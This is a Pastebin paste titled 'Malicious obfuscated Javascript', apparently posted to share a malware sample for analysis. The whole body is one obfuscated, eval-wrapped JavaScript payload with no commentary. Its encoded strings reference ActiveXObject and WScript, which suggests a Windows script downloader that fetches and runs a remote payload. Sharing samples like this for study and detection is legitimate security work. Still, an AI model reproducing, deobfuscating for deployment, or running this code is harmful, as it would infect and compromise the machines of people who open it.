Advertisement
dynamoo

Malicious obfuscated Javascript

May 3rd, 2016
1,173
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /***************************************************************************/
  2. /*                                                                         */
  3. /*  This obfuscated code was created by Javascript Obfuscator Free Version.*/
  4. /*  Javascript Obfuscator Free Version can be downloaded here              */
  5. /*  http://javascriptobfuscator.com                                        */
  6. /*                                                                         */
  7. /***************************************************************************/
  8. eval((function(){var e=[80,89,75,70,88,65,71,86,60,66,82,74,72,87,81,94,79,76,90,85];var b=[];for(var f=0;f<e.length;f++)b[e[f]]=f+1;var p=[];for(var q=0;q<arguments.length;q++){var r=arguments[q].split('~');for(var y=r.length-1;y>=0;y--){var a=null;var l=r[y];var h=null;var o=0;var w=l.length;var j;for(var u=0;u<w;u++){var t=l.charCodeAt(u);var v=b[t];if(v){a=(v-1)*94+l.charCodeAt(u+1)-32;j=u;u++;}else if(t==96){a=94*(e.length-32+l.charCodeAt(u+1))+l.charCodeAt(u+2)-32;j=u;u+=2;}else{continue;}if(h==null)h=[];if(j>o)h.push(l.substring(o,j));h.push(r[a+1]);o=u+1;}if(h!=null){if(o<w)h.push(l.substring(o));r[y]=h.join('');}}p.push(r[0]);}var s=p.join('');var x='abcdefghijklmnopqrstuvwxyz';var m=[42,96,10,92,126,39].concat(e);var n=String.fromCharCode(64);for(var f=0;f<m.length;f++)s=s.split(n+x.charAt(f)).join(String.fromCharCode(m[f]));return s.split(n+'!').join(n);})('function @svD@sD(@rY6@xc@s,Pk,jDb@z@gC){Ph"bx@wD@y"PgY/Y7@rY6@xc@sP8STC="@q@zf@s"}PC680Y7Pk=="ek@gw@p@t"){}P%Ph@rY6@xc@sPg347Y7Pk==0Pnf@gxa@h=11608}PC0PpbaEII=5443Y)baEIIP8@xvzl@wvPr}Paif(Pk===644PnnEI@g=Ps};Ph1Pg172Ppv@wk@za@h=PsPC98Pps@y@xxr@hb=241PC0PpdbC@qfqm=78740PwP<if(PkPoPnf@j@se="fvogv"P:hlCx@rif="SM@k@xPthlCx@rif===1Pn@ugjrd@n=Ps}P3Y(u@hddgi=19907Y)u@hddgi===0Pn@gp@zCf="@xxe@m"}Pwk}P]PsPQcjIEbN(EtfPnp@i@mus@gx=parseInt(Etf)P]p@i@mus@gxPQn@swv@p@nTPfvvdjfy@x@n="fPWvvdjfy@x@nPGY8P^zt@y="r"PVzt@yPQv@pY,@ucnPfrkypM@s@z="CPWrkypM@s@zPQquzsDi@kPfN@sx="@lPWN@sxPGnTSDp(){Ph5Pg1Y72==1P+PsPp@n@l@k=8Y3PwP<Pvid@q@i="@k@wTz@jPt@id@q@i==0P+"D@wj@pc@z"Pp@tu@pPr;P=o@q@qep="oPWo@q@qepPQflhrPfz@x@g@r@uou="cPWz@x@g@r@uouPQqIcheDdPfrpgrax@p="aPWrpgrax@pPQugjnwDNPfNnhIw="ePWNnhIwPQh@nNM@q@mPfq@zt@j@xk@rb="hPWq@zt@j@xk@rbPQv@tS@lh(d@ig@j){PHP,P-P*P(Y(jM@xSC@ynp=flhrPeDvID=h@nNM@q@mPekd@sykp@zf=qIcheDdP`wyl@l@r@z=@Y8P`jdnqY4=quzsDi@kPejf@sM="t"Pqpquztc=[jM@xSC@ynp+DvID,kd@sykp@zf+@wyl@l@r@z+@jdnqY4+jf@sM][d@ig@j]P]pquztcPQS@hq(@ykywkz){PhtruP_534Ppv@zmPrP3Y(ey@i@m=88664Y)ey@i@m===0){};P=ErS@r@k@mij=cjIEbN(@ykywkz)P]ErS@r@k@mijPQPbMu@uPn@qdI=flhrPeh@nNdM="h"PqY5x=qIcheDdPetaoN@lI@uy=@Y8Pehq@tf=v@pY,@ucnPefpe@tsMt@l=@nTSDpPehDuk@ul="d"PmgE@tesxMi=ugjnwDNP`yqm@nwja@x="@l"Pmke@yr="t"Pmsyib@r@h=[@qdI,h@nNdM,Y5x,taoN@lI@uy,hq@tf,fpe@tsMt@l,hDuk@ul,@gE@tesxMi,@yqm@nwja@x,@ke@yr]PVsyib@r@h[Mu@u]PGY9xleP^jNSC=Pb(7595,407P&P#P!)+Pb(P;P5P.P2)+Pb(7P{P>P?)+Pb(7917,8478,7375,3864Y=4,Y?7490,717,3PD59Y>351,9925,4PD7361,7264,5100,1468,4289,6121,9305,6882,5PD1511,597,1433,9618,5491,9387,6PD1Y:939,1378,8656,2313,7PD8279,2513,2726,8992,3889,8705,4342,8PD4400,1702,1077,9496,3166,5362,9))PVjNSCPGhTw@zPfl@yEu@nD@ii=v@tS@lh((7595,407P&P#P!)+v@tS@lh((P;P5P.P2)P]l@yEu@nD@iiPQi@xnNgj(bmle@kr@rz,@z@hNePnhr@lT@j=bmle@kr@rzPmkY6Cn=@z@hNePmxo@k@r=hr@lT@j[@hTw@z()](@kY6CnPZ5PgY/PpatCE@qiPRatCE@qi==0P+1Pp@w@ztr=65907P@76Ppv@rli@k@gPrPC0PpqM@l@rafPrPa;PVxo@k@rPGsq@mzp@k(@u@qS@mS,@xsr@rEnPnDxvfp@m=@u@qS@mS[@Y9xle()](@xsr@rEnPu gdr=22048;;P]Dxvfp@mPQPz@xs@z@sthSPnTab=[n@swv@p@nT(),@Y8(),@nTSDp(),"m",v@pY,@ucn(),"h",qIcheDd(),@Y8(),v@pY,@ucn(),@nTSDp(),"d",ugjnwDN()]P]Tab[@xs@z@sthS]PGtiTETeIP^xj@kT@l=Pz(7595,407P&P#P!)+Pz(P;P5P.P2)+Pz(7P{P>P?)+Pz(7917,8478,7375,3864Y=4,Y?7490,717,3PX59Y>351,9925,4PX7361,7264,5100,1468,4289,6121,9305,6882,5PX1511,597,1433,9618,5491,9387,6PX1Y:939,1378,8656,2313,7PX8279,2513,2726,8992,3889,8705,4342,8PX4400,1702,1077,9496,3166,5362,9PX7674,8802,4199,10PX9510,7853,5Y?2630,1004,3550,1781,7922,9194,3056,5135,6311,11))PVxj@kT@lPQd@p@j(Coi,e@yS){PHP,P-P*P(0Pqlejf@sMs=Coi%e@yS;PHP,P-P*P(1P]lejf@sMsPQi@w@rvC@uE(@quvjMfN,@qzsMgMT@h){PHP,P-P*P(2Pqm@h@y@kn@t@s=@quvjMfN@v@qzsMgMT@h;PHP,P-P*P(3P]m@h@y@kn@t@sPQxY4(@hitC){PHP,P-P*P(4Pmlfl@mu@q@x=@hitC/(7917,8478,7375,3864Y=4,Y?7490,717,3);PHP,P-P*P(5PVlfl@mu@q@xPQlN@h@pjEw(wf@hEgcDPnSNME=""PqPSPTP&P#P!PqNhnM="m@w@uag@imY.@zw".lengthPml@rMPTP&P#P!;P01Y74P[Y(tbbhT=Ps}PC232PpMe@j@h@q@l="qtaN@qPtMe@j@h@q@l==692PnlxD@jzEM=33087}P3if(1===1PnIie@y@pf=67649}Paif(3===Ps){}PqP|=""PqtY.m=wf@hEgcD.length;while(Px@otY.m-(7P{P>P?Pnn@ul@kPTP&P#P!Pmrexn=PjP;P5P.P2PqrC@zP$@rexn)Pmg@mEqqP$Pj7P{P>P?)Pms@ljjP$Px);P|=@s@ljj+rC@z+@g@mEqqPqwDS@kP$PxPZtruP_Y/Ppd@t@ud="EbEah@xq"P%Y(qvx="f@q@y@gjb@zPtqvxP[Pvt@kY4@p@kvPr};P=Y0102=(i@xnNgj(wf@hEgcD,PjP;P5P.P2)=PTP&P#P!PywDS@k==n@ul@kPnrps@r=PjP;P5P.P2Pqnj@s@zN@kke=Pj2)Pmxn@wb@rsP$nj@s@zN@kke);P|P$rps@r)+@xn@wb@rs}Pqb@wmwlb@p=5424PqblbbPiPh3PgY/Ppkv@qroc="kdMw@l@hy"P%PvlEq@p=86169Y)@lEq@p=="ybgxyu@x"){}P%Pvyo@hquMjPR@yo@hquMj===1Pnw@r@pg@rv@t=13280}PwP<Y(q@h@qNl="N@l@rd@nw";P=@shaS@wtaIP$PxPu Y0101=(@shaS@wtaI=PTP&P#P!PyY0101&&Y0102PnTTjN@mh=Pj7P{P>P?;P|P$TTjN@mh)};PS=S@hq(""+P|+"")PmxMI@y@p@i@rT=xY4(PxPu qbEi@g@k=d@p@j(@xMI@y@p@i@rT,NhnMPu Y0=@sq@mzp@k("m@w@uag@imY.@zw",qbEi@g@k)Pmnknwq="Sndpq@rk";Ph2Pg1Pp@l@naE=72291PwP<Pvjqx@uE="g@lMuEb@x"PC330Ppfb@qv@pPrY)fb@qv@p==1){P:S@nD@p="r@um@qjPtS@nD@p===1){};PS=i@w@rvC@uE(PS,Y0Pu di@m=@tiTETeIPec@g@r@r@t@sv@r=String;SNME=SNME+c@g@r@r@t@sv@r[di@m](PSPu ukad=(7917,8478,7375,3864Y=4,Y?7490,717,3);Px=Px+ukad}P]SNMEPQiqC@pIp(@l@j@nk@q,Y9n,syng@w@y,y@yMpC){if(Y9n=Pr){}Pmi@hzDiz="ob@jo@hPt@i@hzDiz==0){if(@l@j@nk@q==="@gtY5r@mm"){}Pqtv@rka@j=53390};PhY9nPgPsPpqf@ix=4548P6wk@raesn"Ppp@txE@nS=7184P6kwg@ij"PpjypPrPwk}PGjY.Pfy@qgI=[(26Y>7Y 78,1),@lctive@k@wbject,(6445,3136,47Y:66,1987,2)][1]P]y@qgIPQP}dfeggPn@g@isxC@h=@jY.P`mEzPrY)@mEzP[}Pmsvjte= new @g@isxC@h(dfeggPy1P[}Pmp@giekSfPiPvsMDPi;PVsvjtePGrc@g@sS@jP^l@psP905059Y217093100066Y;43052016012061Y379017Y267055035122066026Y*02051010101Y158039")PVl@psPQex@iP^Y5m=[(26Y>7Y 78,1),@tScript,(6445,3136,47Y:66,1987,2)][1]PVY5mPGr@zhwoCP^tqIC@lP932028009Y;43121067026015025Y*57027001")PVtqIC@lPQzD@i(dldd,lfdff){dlddP709042061004019Y-43043Y-48Y+lfdff)PGrq@mPfu@s@w=@r@zhwoCPewzq@zcot@i=ex@iPeDd@w@sEpa=wzq@zcot@iP762Y;35Y123Y*43055Y-57057012034052")]Pmt@qnnNE=@rc@g@sS@jPel@iicPiY(DCeyg@g="r@uN@h@t"Pqvw@x@nh@nPi;PqPI=P}u@s@w)PmhctnP944011030Y237101062054Y348022000"Pu e@k@yhMP942010005"Py4===364Pn@gEN@y="Cdq@z@if"};P0"@y@mC@gl"Pp@kTCz@p=27819PwP<if(6P[Pvplx@y@krPr}Pa;;PIP702Y*52015Y+e@k@yhM,Y,nnNE,PsPZfalsP_"Tu@hoiD@ng"Pp@ny@rj@pvPrP6uvojsfdM"PpjNu@kyz="uY"P3Y(PY"eY!pPtPYPoP+350PplPdPKP0Y@PJP@PlP8@uPMP%P\\PPP6@POarY$PFPBPUP:PN3;PIP730042Y*05")]P`xc@mt@yyP962Y;35Y123Y*04Y;37123049004Y\'2050030056025039047026021007042050021"Pu nY&=P}@xc@mt@yyPyPIP762059Y321018056")]==(1896,2855,6388,3483,5534,200)PnT@wd@yC@h=59560Y)T@wd@yC@h==1){}Pmp@lg@r=75230;;Pqmbd@n=P}@hctnPZfalsP_"Tu@hoiD@ng"Pp@ny@rj@pvPrP6uvojsfdM"PpjNu@kyz="uY"P3Y(PY"eY!pPtPYPoP+350PplPdPKP0Y@PJP@PlP8@uPMP%P\\PPP6@POarY$PFPBPUP:PN;Pqu@zm@w=nY&P742042Y250023Y-14043Y\'7049002Y\'3004021Y+(6445,3136,47Y:66,1987,2))+"@d@d"+nY&P742042Y253002038029012Y\'6018Y+Y%P134Y*52015")]PeISfP958028050019014059025108017061018001035"PZfalsP_"Tu@hoiD@ng"Pp@ny@rj@pvPrP6uvojsfdM"PpjNu@kyz="uY"P3Y(PY"eY!pPtPYPoP+350PplPdPKP0Y@PJP@PlP8@uPMP%P\\PPP6@POarY$PFPBPUP:PN0;mbdP157054033004")]=(26Y>7Y 78,1PZfalsP_"Tu@hoiD@ng"Pp@ny@rj@pvPrP6uvojsfdM"PpjNu@kyz="uY"P3Y(PY"eY!pPtPYPoP+350PplPdPKP0Y@PJP@PlP8@uPMP%P\\PPP6@POarY$PFPBPUP:PN1PqaSoM@n@z=P}ISfY%P158061056021002Y+PIP763042034017Y137030039000058019020")])PmwymT@j@iPR4==="Sy@iyrq"){}Y)4P8aED=2567}PmztN=(4Y<788,4536,13Y 06,7580,0Y%P161032034Y119034002044")]=@ztNPqj@y@we@x="@m@g@uN@j"PmtdsgmPi;;mbdP162Y-39004051036043043Y-48Y+u@zm@wY%P146035062018002Y+PZ89Pg516Ppo@p@uTupD="@m@zkrsCg"P6o@uhz"Pp@j@pePR@j@pe==1){};P=@j@hrP914034053079002051Y198109054087")+u@zm@w;aSoM@n@zP731058063Y+@j@hr,(4Y<788,4536,13Y 06,7580,0))};zD@i(nY&,Dd@w@sEpa)PGij@i@q@uh(eo@u,vdg,TocdgiPncY,zg@noPRcY,zg@noP8@guzCe=Ps}}try{if(@svD@sD(Y/,"DSr",1)==0){iqC@pIp(Ps,0,"@y@ka",Ps)};@ij@i@q@uh(Y/,1,"@iwde")PmuCz@s@sz@j@s=([(8064,6063,4752,4538,2480Y=9,609,8934,7337,7120,9048,4133,0),@tScript])[(6131,5Y<6012,4050,559YA90,3617,5786,1)]Pmsa@r@n@if@h=@uCz@s@sz@j@sP735Y-60004")]Pqb@j@kbCc@q=@sa@r@n@if@hP701042Y*06019035")]Pqe@wa@yd=b@j@kbCc@q>(4004,4095,2324,487YA14,2381,4808,2547,2241,2872,5Pye@wa@yd){[(6131,5Y<6012,4050,559YA90,3617,5786,1),@rq@m][(6131,5Y<6012,4050,559YA90,3617,5786,1)]()}}catch(@rT@nidh){}~P#4~4,1179,8495,4638,0)~P&1~1150,2831,3630,109~=i@xnNgj(wf@hEgcD,~PCtrue:~7,3790,1826,5948,~P*@~@y@w="I@mn@mqy"};~P-=~=317Pn@iwfhp~){}PC~trueY)xE@mSD=~Po){};if(4=~25,1025,7842,25~P52~switch(4Pg~@nP7~98,7849,2206,1)~PC1:~P;9~9,9406,4108,70~PC"~[lN@h@pjEw("0~==falsePn~=lN@h@pjEw("0~}Pavar ~9712,2014,733~k;case Ps:~break};;Pq~111,4898,7958~,3844,4693,2)~PC5~PFu~u@pa===1){var~Pwk;case ~))+Pb(~m"Pp@u@pa~a=34384Y)@~PQ@~Y(xE@mSD=~qec@i@x@qIi~r CMx=59114~656Pa~ lPd6~@ygb=26176}~Mmnc=44027;~x@zlat@m":v~z="ecE@s@g"~}function ~Piif(~@rxxgjDc@z~=(7595,407~ TIs=56768~P]@~"P]~))+Pz(~mbt@n@rC=~);Ph~=Po){~Pvy@mo~;return ~Pf@~ePg~Pe@~Pwk};~ax@jE@p(~0Pplp~pjMtn=15~()Pq~(Pn~){case ~switch(~=Ps;~Px+(~w@nqgtD~39Y74~Pq@~){Y(~=Pr~:Y(~;Y(~=Y/~false~"Y)~);var~Y(@~;brea~@l@rM~)Y)~qv@m(~465,8~jSC@g~l@tk(~41,40~zhDN@~qvjl"~z="uq~ @u@p~);mbd~mljCp~03505~var ~;if(~0630~")](~@t@q~0460~@p@p~true~ytxy~0080~0370~0480~@n@u~m@q@~@j@g~:if(~jjrk~h@s@~83,4~0440~254,~,962~84,5~205,~1:va~0,19'));
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement